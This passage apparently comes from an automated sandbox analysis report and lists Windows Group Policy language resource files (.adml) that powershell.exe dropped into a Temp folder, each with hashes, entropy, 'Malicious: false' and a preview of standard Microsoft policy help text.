Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MaxGPOScriptWaitPolicy">Specify maximum wait time for Group Policy scripts</string>.. <string id="MaxGPOScriptWaitPolicy_Help">This policy setting determines how long the system waits for scripts applied by Group Policy to run. ....This setting limits the total time allowed for all logon, logoff, startup, and shutdown scripts applied by Group Policy to finish running. If the scripts have not finished running when the specified time expires, the system stops script processing and records an error event.....If y

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Securitycenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (622), with CRLF line terminators
Category:	dropped
Size (bytes):	2466
Entropy (8bit):	4.781426635707619
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKBtxHxPUNbhQaB6+J5KaeKUYF1vKUYox2P1C9L5GkMo/2VcSurcFV:LeD5pmdtxHxG64MYfYo8NQL8IGrccFV
MD5:	BB7C4CF9B3DDFEFAE5FF4C38B5026EB3
SHA1:	157C536B83CB87B194C8BF8018A965EF72DC314B
SHA-256:	F49034EF8C96F7E5A19AFB7873AFB1A3F289630390E36C163B12FD2DDC15637A
SHA-512:	DE9E2E1824A0B9B03AFC476090D361DD5808C6D0B6C8EB70C7DFC590D8B222C78D062CAB2580E8F74F243CD713EB268BFC72BE232698F15CA269EE007F6B41DE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SecurityCenter">Security Center</string>.. <string id="SecurityCenter_SecurityCenterInDomain">Turn on Security Center (Domain PCs only)</string>.. <string id="SecurityCenter_SecurityCenterInDomain_Help">This policy setting specifies whether Security Center is turned on or off for computers that are joined to an Active Directory domain. When Security Center is turned on, it monitors essential security settings and notifies the user when the computer might be at risk. The Security Center Control Panel categ

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Sensors.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	4.6874178503699655
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKcgWEhQnwgbc+ijJzo/DQxCGgbxCEinEqcN8gUOZFV:LeD5pmkRLRSo/k0V0EvN4CFV
MD5:	7CAFF134D90FB9D9BFFD1931A3B7A077
SHA1:	6C1305F61CF2978F73F3C8DF3FB7639BC3761863
SHA-256:	B102166CF6A473DCE4ADC301156086D0EBA710EFFFA1C4A569EA480994A7F5B4
SHA-512:	2D7427C5572797903A6539A872B9AF3062F23BDF24E3004EC61388D321ABBDCF1D063DB00F5703BDC708AA1AE1B5FCF3262F961C3E9CFBC44BFDE8C001A4583D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableSensors">Turn off sensors</string>.. <string id="DisableSensors_Explain">.. This policy setting turns off the sensor feature for this computer..... If you enable this policy setting, the sensor feature is turned off, and all programs on this computer cannot use the sensor feature..... If you disable or do not configure this policy setting, all programs on this computer can use the sensor feature... </string>.. <string id="DisableLocation">Turn off location</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ServerManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (387), with CRLF line terminators
Category:	dropped
Size (bytes):	4955
Entropy (8bit):	4.805565480068189
Encrypted:	false
SSDEEP:	96:LeD5pmHhpF4FGEkPDY1o1NucOc3EfqYz0LYS0zYS0jfBQ3V:E2hpi4rPE1o1NudbrUMqfBQF
MD5:	65C390CEDEDFD130518B61FA1235250A
SHA1:	6A55E7AC36FE463A16AF0BE1F7F8B5C1848C0D97
SHA-256:	E47082B33ACA0FB727E6486ECA05ED0F7E309923D214DF7D6D1E9E1BB6B58A93
SHA-512:	FAC7D91F8DAE73E2719FE7D9E8BDAE71A4B3DD4375943DA8F0B9992E4554E0E95A503BB5F5EEAC6E6475209F9051B343D2928D028A3355EA58F987DD76ADD03D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsServer2008OrWindowsServer2008R2Only">Windows Server 2008 and Windows Server 2008 R2 operating systems only</string>.. <string id="DoNotLaunchServerManager">Do not display Server Manager automatically at logon</string>.. <string id="DoNotLaunchServerManagerHelp">This policy setting allows you to turn off the automatic display of Server Manager at logon.....If you enable this policy setting, Server Manager is not displayed automatically when a user logs on to the server.....If you disable t

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Servicing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (408), with CRLF line terminators
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	4.892231615075483
Encrypted:	false
SSDEEP:	48:cs+D5p8lF9YGTBdVhcNZPhcNspL8K5pWNLcrdYAkWQ/tgiwavEARV:P+D5iF9YGTnVhcNhhcNspL8KiNFBWQ/P
MD5:	C16E4D55B366521038B07E5B2EAA4D1A
SHA1:	C8FA7021E315736D6ED23ACA59D8B0CC3460FDD2
SHA-256:	0FB29A9479B51033FDE4838E9E61D1D382B173EF4F43C00799EF97940F0E498C
SHA-512:	9DC2BFAAE5885EE74E4AB8C7E9D0B6557550F8E6315199F23006F202AA234244CA1802D2D289F95E3213CA577DBD14D7D086CED34BDE2349C127CB31141E2512
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2011 Microsoft Corporation -->..<policyDefinitionResources revision="1.0" schemaVersion="1.0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Servicing Policies</displayName>.. <description>Windows Servicing Policies</description>.. <resources>.. <stringTable>.. <string id="CloudFulfillmentGPO">Specify settings for optional component installation and component repair</string>.. <string id="CloudFulfillmentGPOExplanation">..This policy setting specifies the network locations that will be used for the repair of operating system corruption and for enabling optional features that have had their payload files removed.....If you enable this policy setting and specify the new location, the files in that location will be used to repair operating system corruption and for enabling

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SettingSync.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9740
Entropy (8bit):	4.723278539465857
Encrypted:	false
SSDEEP:	96:PD5pmpC5ZTUe/5edwuTysvjk9yGfUqWxOV:ftHUwueIjkkGfnWw
MD5:	A46525DCC0BBEFF3717004AA7D5E686B
SHA1:	85429467F34FFB172D7E404E60542C50090C6AFE
SHA-256:	044A3C384EC4E46E9EE6AA4BF4D28F3027A758DE7A9163324FE80EE466E935E5
SHA-512:	551C90AD33D7ECBE6E0D45B1FF22ED092C239EFC63189D7D0E0FF1147E82C3694ECE958DF4DF5A89F87E4CE966284D9317CEE93D6F38B76152ED26A3D2DC54A0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2012 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. General -->.. <string id="SettingSyncCategory">Sync your settings</string>.... Main policy -->.. <string id="DisableSettingSync">Do not sync</string>.. <string id="DisableSettingSync_Help">Prevent syncing to and from this PC. This turns off and disables the "sync your settings" switch on the "sync your settings" page in PC Settings.....If you enable this policy setting, "sync your settings" will be turned off, and none of the "sync your setting" groups will be synced on this PC.....Use the option

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Setup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2060
Entropy (8bit):	4.847450101986129
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ybvkTvKvkTlE6OmYyfbTebTlCa/Yi7R0ryMOVjoV:cgeD5x8gm8fKnxRRxYEbQRj/Yi7S0oV
MD5:	9940A876376DFACA4C22AEB49D5E98D1
SHA1:	4092EC36B7F64EB2D076D11F04AFBB38C95A9AEB
SHA-256:	F0AF5022E574F037FEFF288B1944788E08E9F1C3CC29E2968022B05EE8A12D71
SHA-512:	DE5BF65874ABDF5AF96EA22C5D97170AE5B3312B39A2FB3C19F1E33D0A7AC71F2633510E2CE1C87794FE818CD50DA4FB2D328E69C1E0005D9C8D86B96A88C1D8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ServicePackSourcePath">Specify Windows Service Pack installation file location</string>.. <string id="ServicePackSourcePath_Help">Specifies an alternate location for Windows Service Pack installation files.....If you enable this policy setting, enter the fully qualified path to the new location in the "Windows Service Pack Setup file path" box.....If you disable or do not configure this policy setting, the Windows Service Pack Setup source path will be the location used during the last time Windows Service Pac

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SharedFolders.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1850
Entropy (8bit):	4.859149246040625
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKgJxujBDrfS1Z/yqqqYu5BV5ocfS1Z/MFV:LeD5pmCeKV4JcKVMFV
MD5:	B512AC9CA34BC2605D206FA9D22778F1
SHA1:	21E31C62BA3B2E963A2A78B9490270D87E14F082
SHA-256:	3649D182A6D570C693D564E11B80127960E3F34BD98C2DABC5E5A1F640B7EACF
SHA-512:	2F726D9A4E067AC354A7C6E5EC36EC5973CD04731E4A14DF3DE30061447A077F38F8B4752112E0DB0BA3E1DACCB6A0C98F148F4FB00FCBEE07B6D6A7206020F0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PublishDfsRoots">Allow DFS roots to be published</string>.. <string id="PublishDfsRoots_Help">This policy setting determines whether the user can publish DFS roots in Active Directory Domain Services (AD DS).....If you enable or do not configure this policy setting, users can use the "Publish in Active Directory" option to publish DFS roots as shared folders in AD DS .....If you disable this policy setting, users cannot publish DFS roots in AD DS and the "Publish in Active Directory" option is disabled. Note:

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Sharing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (372), with CRLF line terminators
Category:	dropped
Size (bytes):	2463
Entropy (8bit):	4.766622027240466
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKMQ44nWQqxjgwrGOnLbvE4juaM8oFV:LeD5pmdpMGOnN6aM8oFV
MD5:	F76CBCDF77EAC5FEF366F9F9D45F5E76
SHA1:	89F54964A2B4E1DE63448AADFCC678470886DDAF
SHA-256:	56D6E0E7FD98836C698D345735B4F7633DF49C455500C41B20E7B5D6FDF40AB3
SHA-512:	D86BB5E1DA555D6F09FEA4E3C930AE560E777F64B0C38A225201CC401869A82A0A05A5C3E874310C1F4C0BA33F131B607CBA7DAB8BE61AC247F44CCB080401D2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NoInplaceSharing">Prevent users from sharing files within their profile.</string>.. <string id="NoInplaceSharing_Help">This policy setting specifies whether users can share files within their profile. By default users are allowed to share files within their profile to other users on their network after an administrator opts in the computer. An administrator can opt in the computer by using the sharing wizard to share a file within their profile.....If you enable this policy setting, users cannot share files w

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Shell-CommandPrompt-RegEditTools.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	5239
Entropy (8bit):	4.777406183575808
Encrypted:	false
SSDEEP:	96:LeD5pmrH1U680U30fNS57tc/Ja80+fgT9lsc/osa80+fVxV:EYU6xU3RtckQ0zscCQVT
MD5:	3925D35054AB425A8F3690C2FA33BDFC
SHA1:	A2DFC384B4F8351B40B9406A94ADEFB1B85F9C7B
SHA-256:	BEC7CF7EC0CDFD01BB8677C20C887988A642742F136C0437D49A67F218087842
SHA-512:	AE7CABBE1C4E7618E787F9D3BDB621CB32E99F5802114A20BCF6ADA2E7B52F7EE12556E8023B38142FF42EA580624DAB40D988B23AEE4BB4BB9E2A8905B175D1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableCMD">Prevent access to the command prompt</string>.. <string id="DisableCMD_Help">This policy setting prevents users from running the interactive command prompt, Cmd.exe. This policy setting also determines whether batch files (.cmd and .bat) can run on the computer.....If you enable this policy setting and the user tries to open a command window, the system displays a message explaining that a setting prevents the action.....If you disable this policy setting or do not configure it, users can run Cmd.

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ShellWelcomeCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	4.934703334666594
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y8Cnid3PRM5LDa3IQWFV:cgeD5x8gm8fK4IPRMNe3IQWFV
MD5:	E1C3A48A813C8E8D7F076966FFF1782F
SHA1:	E678B2457A0B3D7FA37C25899823E1DCBF335552
SHA-256:	778A48685463098ECBAB0E95EC4BA4CC299704453A10B790404D636C78495A6F
SHA-512:	E7B2002E5ABEDBC1C2E877143F6296A060FF2BE18CDF9743119F068CBA422A4D4B502E7E69DCABA5D1A5BBB20E42D9EA978479A3A996040E4F9CC5413F1E1F5E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="RestrictWelcomeCenter">Do not display the Welcome Center at user logon</string>.. <string id="RestrictWelcomeCenter_Help">This policy setting prevents the display of the Welcome Center at user logon.....If you enable this policy setting, the Welcome Center is not displayed at user logon. The user can access the Welcome Center using the Control Panel or Start menu.....If you disable or do not configure this policy setting, the Welcome Center is displayed at user logon.</string>.. </stringTable>.. </resource

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Sidebar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	4.808024425882859
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKv7uPPd4IaFpT6P0vQWjp3lFV:LeD5pm38BG56i1FV
MD5:	FF097ECD6B6D14BEEB70B111DEB1EE8C
SHA1:	2AE1D93696A7892254D05D9C73B21360B056EDAE
SHA-256:	70198BCD06B06CBBFBE1CCDDDC0815D3BB2239CAD51403E32340C20B892A06D9
SHA-512:	E1C41A1B9CC3CE9987CFA52447A24CCEA55CE38F4F09AAC5071365CF206D28D94F7C4CE77B3B693D019084DA2BD5F9646EEB287BA8C4CBDADB06C6614EF87F03
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Sidebar">Desktop Gadgets</string>.. <string id="TurnOffSidebar">Turn off desktop gadgets</string>.. <string id="TurnOffSidebar_Explain">This policy setting allows you to turn off desktop gadgets. Gadgets are small applets that display information or utilities on the desktop.....If you enable this setting, desktop gadgets will be turned off.....If you disable or do not configure this setting, desktop gadgets will be turned on.....The default is for desktop gadgets to be turned on.</string>.. <string

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SkyDrive.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (698), with CRLF line terminators
Category:	dropped
Size (bytes):	3086
Entropy (8bit):	4.858829936806005
Encrypted:	false
SSDEEP:	48:c/x8gZmwKweH8weDCmOw7khgLf6aweXLwepnFo7hgjfAwleJ9dwBb7DQweFXKV:wpZmmymCmCeSVAo7hzzM7DXLV
MD5:	7C6ABEF96D8FC4473B348F9CC6AB14CA
SHA1:	4ED99551F1EF8DCD42BC5A66A9072739CBB106A8
SHA-256:	0D9F815210F123D3A3201EA0530F0C5F4C8C2B3CF6AE146402D1B3D7E83E77C6
SHA-512:	A360D6F086C9173869E70027EEB9BA07CE40DEA1098E0582206F7A4D3EF101DDD4DDBCB5A7CB95445CC4394FB09577D6C81DACEC6791F592DE18F80A515C75C8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/PolicyDefinitions">.. <displayName>Prevent OneDrive file sync</displayName>.. <description>Prevent files from being automatically synced to OneDrive</description>.. <resources>.. <stringTable>.. general -->.. <string id="SkydriveSettingCategory">OneDrive</string>.. .. prevent file sync-->.. <string id="PreventSkydriveFileSync">Prevent the usage of OneDrive for file storage</string>.. <string id="PreventSkydriveFileSync_help">This policy setting lets you prevent apps and features from working with files on OneDrive...If you enable this policy setting:....* Users can.t access OneDrive from the OneDrive app and file picker...* Windows Store apps can.t access OneDrive using the WinRT API...* OneDrive

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Smartcard.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (505), with CRLF line terminators
Category:	dropped
Size (bytes):	13897
Entropy (8bit):	4.622403059025047
Encrypted:	false
SSDEEP:	192:ErlLxCEj//4LPwqCop5PqByD2mqKzeYWApNHXsV3sCkm0gb9DiCPoQCDEi1969sp:OHal3as861969sMot
MD5:	8EE4A00ED150375834D94CDF3644BB08
SHA1:	2818877ACB6381F12CB1583B8C366B8E2E8FB8CF
SHA-256:	CF6F61B50CD4BF427834FEC9D7D5C6FBDC0CDB3C5E8E07A66F04BA3D60E093B9
SHA-512:	4E4B668272BF4F64C4C47E09A2F38422D49391C418A62CB1E955A683B7045E0646FDC33E5565902F20281D28406074FFC07FC9A5AB9A4154B6F2D496C3DD1087
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowCertificatesWithNoEKU">Allow certificates with no extended key usage certificate attribute</string>.. <string id="AllowCertificatesWithNoEKU_help">This policy setting lets you allow certificates without an Extended Key Usage (EKU) set to be used for logon.....In versions of Windows prior to Windows Vista, smart card certificates that are used for logon require an enhanced key usage (EKU) extension with a smart card logon object identifier. This policy setting can be used to modify that restriction.....If

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Snis.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	4.846146849523547
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKmZRbhuTOk1/hK82bGGrTFwbXOxJhK8hTwJkxwXzNCSFV:LeD5pmCZlhuykphr2bGGrTFwb+7hrhT8
MD5:	80C54C63C7D081F9C7D7738D50F1D92A
SHA1:	11ECD72C962D4B9F90E158A8D0D9544A3101D6A0
SHA-256:	D764EA69BA0C9BF3B83D8D497820419A8EC755B4A81C4394DB5A73C6FF19CDFB
SHA-512:	D82E63819C06EBAE7A2E0BD8B9CD879D766EA18A4B2B2CAB3E38A2ECF8D585E40C0F2EF89FD59781B3D6A6152AC65C40A2FEC966BB37151F8DA3CFEA8AD4ED22
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Snis">Server for NIS</string>.. <string id="Snis_LoggingLevel">Turn on extensive logging for Active Directory Domain Services domain controllers that are running Server for NIS</string>.. <string id="Snis_LoggingLevel_Help">This policy setting allows an administrator to configure extensive logging for computers that are running Server for Network Information Service (NIS).....If you enable this policy setting, intermediate steps of NIS map updates or propagations, and whether map updates are successful, a

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Snmp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5042
Entropy (8bit):	4.799259798850357
Encrypted:	false
SSDEEP:	96:LeD5pm4bGHevi6cwIJyoKbT6c0Jyovt46cwnJyoPlV:EJHi65MKf6JF4655PH
MD5:	C5F44A83C74633615BB7005A8530B912
SHA1:	63AFE83576A32B083EFA4003A95CD82A66461FDC
SHA-256:	205A6CCFF312FB39D59B754925B871CA51845DEB5224EC0BF41B48BE64589C7D
SHA-512:	A11028E185B061A2F42849F09CBB50AA75D0B6FB25650A65C1099CC33E5CEFD024B870F0E3E5C39C1B632DCDC9B4AB7526D5A29DD5DF1E33BABB45AA31D6F4AC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SNMP_Communities">Specify communities</string>.. <string id="SNMP_PermittedManagers">Specify permitted managers</string>.. <string id="SNMP_PermittedManagers_Help">This policy setting determines the permitted list of hosts that can submit a query to the Simple Network Management (SNMP) agent running on the client computer.....Simple Network Management Protocol is a protocol designed to give a user the capability to remotely manage a computer network by polling and setting terminal values and monitoring ne

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SoundRec.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	4.968946981075251
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yef8kxNxVhSexuCvLeKF47q8wFV:cgeD5x8gm8fKR8kNxVPcCzeo4XwFV
MD5:	9C112ED54F6D15614FBA9B6AA1CDFBB0
SHA1:	1F3FFFEA352DC383AA91DFC61290B95218910B59
SHA-256:	F44E48D84C8A5914AAEBC31206F09194DC1041F3DEA70AD7ECD0E402EE3DF165
SHA-512:	E60C57BC46963AC5A09F9C7EA82A23A5E06155D4FF0417EE5A0672B7CB053F62D8765FF807FCE58F2EBF15AB835C942B45089DE2A12B5ED3B5CA7C63D62A8941
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Soundrec_DiableApplication_TitleText">Do not allow Sound Recorder to run</string>.. <string id="Soundrec_DisableApplication_DescriptionText">Specifies whether Sound Recorder can run.....Sound Recorder is a feature of Microsoft Windows Vista that can be used to record sound from an audio input device where the recorded sound is encoded and saved as an audio file.....If you enable this policy setting, Sound Recorder will not run.....If you disable or do not configure this policy setting, Sound Recorder can be ru

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\StartMenu.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (491), with CRLF line terminators
Category:	dropped
Size (bytes):	54118
Entropy (8bit):	4.666836415862256
Encrypted:	false
SSDEEP:	768:kpbzNqeMWd095QOJzSqREFzK1HF/KPCyFqcJjkOme8j:kp/xMWd095QKz9oPCyUh
MD5:	41F89434F7FD242C4772AFB8152909BD
SHA1:	BCC3FC1A4CAE549D934AC9C18C61E4C956E275B7
SHA-256:	030E413AF912FFCBFDB98B2E96A898B6826F7653C1ED021F4CEEDCC7B8C2127E
SHA-512:	27C9BFBF15C3B7BF41A4030094F7B588ED531C2EFB4517E5F9F51A82F55E87BB6C58A9C020C9CF35BFFFD953EE91B39115A4D766C29873ADBE95B448E551EF6E
Malicious:	false
